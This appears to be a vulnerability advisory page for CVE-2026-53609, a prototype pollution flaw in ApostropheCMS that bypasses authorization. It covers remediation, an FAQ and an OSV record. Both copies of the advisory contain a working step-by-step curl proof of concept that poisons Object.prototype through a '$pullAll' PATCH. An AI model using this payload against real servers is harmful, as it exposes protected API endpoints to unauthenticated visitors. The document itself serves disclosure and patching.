CVE-2026-53609: Apostrophe Apostrophe Has Server-Side Prototype Pollution Vulnerability

CRITICAL
Advisory Identifier: GHSA-6h5j-32cf-4253
CVSS 9.1
CWE-1321
Published
Advisory Summary

CVE-2026-53609 is a CRITICAL (CVSS 9.1) apostrophe has server-side prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Apostrophe libraries in the npm ecosystem. The issue involves apostrophe has server-side prototype pollution in apos.util.set via patch operators that leads to process-wide authorization bypass. Remediation is available by upgrading affected packages to version 4.31.0.

CVE-2026-53609 at a Glance

CVE Identifier CVE-2026-53609
GHSA Identifier GHSA-6h5j-32cf-4253
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Apostrophe
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-53609

To remediate this vulnerability, upgrade all affected Apostrophe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

apostrophe fixed: 4.31.0
npm install apostrophe@4.31.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls apostrophe

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53609, inspect your project dependencies using npm:

npm ls apostrophe

Analyze the terminal output to locate any version of Apostrophe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.31.0), your application is affected.

Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Apostrophe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" /> ## Summary `apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. --- ## Details ### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800) The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`: ```js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype } ``` ### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737) User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`: ```js _.each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses _.has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled }); ``` `cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`. The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point. --- ### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148) ```js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } } ``` Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it. Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition: ```js !self.options.publicApiProjection ``` evaluates to `false` for all modules. As a result, the authorization check is skipped for every subsequent request handled by the process. --- ## Proof of Concept **Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB **Prerequisites:** Editor-level credentials ### Step 1 — Confirm Endpoint Is Protected (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"name":"notfound","data":{},"message":"notfound"} ``` --- ### Step 2 — Obtain Editor Token ```bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") ``` --- ### Step 3 — Poison `Object.prototype` via `$pullAll` ```bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}' ``` Response: ```http HTTP/1.1 200 OK ``` --- ### Step 4 — Authorization Bypass Confirmed (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"pages":0,"currentPage":1,"results":[]} ``` The endpoint now returns a valid paginated response instead of `notfound`. No credentials are supplied. Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed. ### Cleanup The pollution persists until the Node.js process is restarted. --- ## Impact ### Vulnerability Type **Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321) ### Who Is Impacted Any ApostropheCMS installation where at least one editor-level account exists. This is the default configuration for multi-user CMS deployments. ### Security Impact A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process. All subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`. Verified affected endpoints include: - `@apostrophecms/user` - `@apostrophecms/global` Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected. The bypass affects every unauthenticated visitor until the server is restarted. --- ## Suggested Fix Reject dangerous prototype-related path segments before traversal: ```js if ( p === '__proto__' || p === 'constructor' || p === 'prototype' ) { return; } ``` Apply the same validation both: 1. Inside `apos.util.set()` 2. Before passing user-controlled keys into `apos.util.set()` from `implementPatchOperators()` ---

CVE-2026-53609 Affected Apostrophe Versions

1 component(s)
Fixed Versions:
4.31.0
Product / Package Ecosystem Affected Versions Fixed Version
apostrophe
npm
< 4.31.0
4.31.0

References

Frequently Asked Questions

What is CVE-2026-53609?
CVE-2026-53609 is a security vulnerability in Apostrophe involving Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Apostrophe versions are affected?
Affected versions include releases prior to 4.31.0 across affected packages: apostrophe.
What version fixes CVE-2026-53609?
Upgrading to 4.31.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is apostrophe affected?
Yes, apostrophe is affected in releases prior to 4.31.0. Upgrade your dependency to 4.31.0 or later.
What is the CVSS score of CVE-2026-53609?
CVE-2026-53609 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L.
What CWE is associated with CVE-2026-53609?
CVE-2026-53609 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-53609?
Run the dependency tree command: 'npm ls apostrophe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6h5j-32cf-4253",
  "modified" : "2026-07-31T21:49:25Z",
  "published" : "2026-07-31T21:49:25Z",
  "aliases" : [ "CVE-2026-53609" ],
  "summary" : "Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass",
  "details" : "<img width=\"1919\" height=\"1046\" alt=\"proto\" src=\"https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6\" />\n\n## Summary\n\n`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.\n\nA confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.\n\n---\n\n## Details\n\n### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)\n\nThe function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:\n\n```js\nset(o, path, v) {\n  path = path.split('.');\n  for (i = 0; i < path.length - 1; i++) {\n    o = o[path[i]];   // when path[i] === '__proto__', o becomes Object.prototype\n  }\n  o[path[i]] = v;     // mutates Object.prototype\n}\n```\n\n### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)\n\nUser-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:\n\n```js\n_.each(patch.$pullAll, function(val, key) {\n  cloneOriginalBase(key);               // uses _.has (hasOwnProperty)\n  self.apos.util.set(patch, key, ...);  // key is fully attacker-controlled\n});\n```\n\n`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.\n\nThe same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.\n\n---\n\n### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)\n\n```js\npublicApiCheck(req) {\n  if (!self.options.publicApiProjection) {\n    if (!self.canAccessApi(req)) {\n      throw self.apos.error('notfound');\n    }\n  }\n}\n```\n\nOnce `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.\n\nBecause JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:\n\n```js\n!self.options.publicApiProjection\n```\n\nevaluates to `false` for all modules.\n\nAs a result, the authorization check is skipped for every subsequent request handled by the process.\n\n---\n\n## Proof of Concept\n\n**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB\n\n**Prerequisites:** Editor-level credentials\n\n### Step 1 — Confirm Endpoint Is Protected (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"name\":\"notfound\",\"data\":{},\"message\":\"notfound\"}\n```\n\n---\n\n### Step 2 — Obtain Editor Token\n\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"editor\",\"password\":\"...\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n```\n\n---\n\n### Step 3 — Poison `Object.prototype` via `$pullAll`\n\n```bash\ncurl -X PATCH \"http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Cookie: apos-testapp.csrf=csrf\" \\\n  -H \"X-XSRF-TOKEN: csrf\" \\\n  -d '{\"$pullAll\":{\"__proto__.publicApiProjection\":[]}}'\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### Step 4 — Authorization Bypass Confirmed (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"pages\":0,\"currentPage\":1,\"results\":[]}\n```\n\nThe endpoint now returns a valid paginated response instead of `notfound`.\n\nNo credentials are supplied.\n\nExecution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.\n\n### Cleanup\n\nThe pollution persists until the Node.js process is restarted.\n\n---\n\n## Impact\n\n### Vulnerability Type\n\n**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)\n\n### Who Is Impacted\n\nAny ApostropheCMS installation where at least one editor-level account exists.\n\nThis is the default configuration for multi-user CMS deployments.\n\n### Security Impact\n\nA single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.\n\nAll subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.\n\nVerified affected endpoints include:\n\n- `@apostrophecms/user`\n- `@apostrophecms/global`\n\nBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.\n\nThe bypass affects every unauthenticated visitor until the server is restarted.\n\n---\n\n## Suggested Fix\n\nReject dangerous prototype-related path segments before traversal:\n\n```js\nif (\n  p === '__proto__' ||\n  p === 'constructor' ||\n  p === 'prototype'\n) {\n  return;\n}\n```\n\nApply the same validation both:\n\n1. Inside `apos.util.set()`\n2. Before passing user-controlled keys into `apos.util.set()` from `implementPatchOperators()`\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.31.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.30.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-6h5j-32cf-4253"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53609"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/pull/5464"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T21:49:25Z",
    "nvd_published_at" : "2026-06-12T22:16:52Z"
  }
}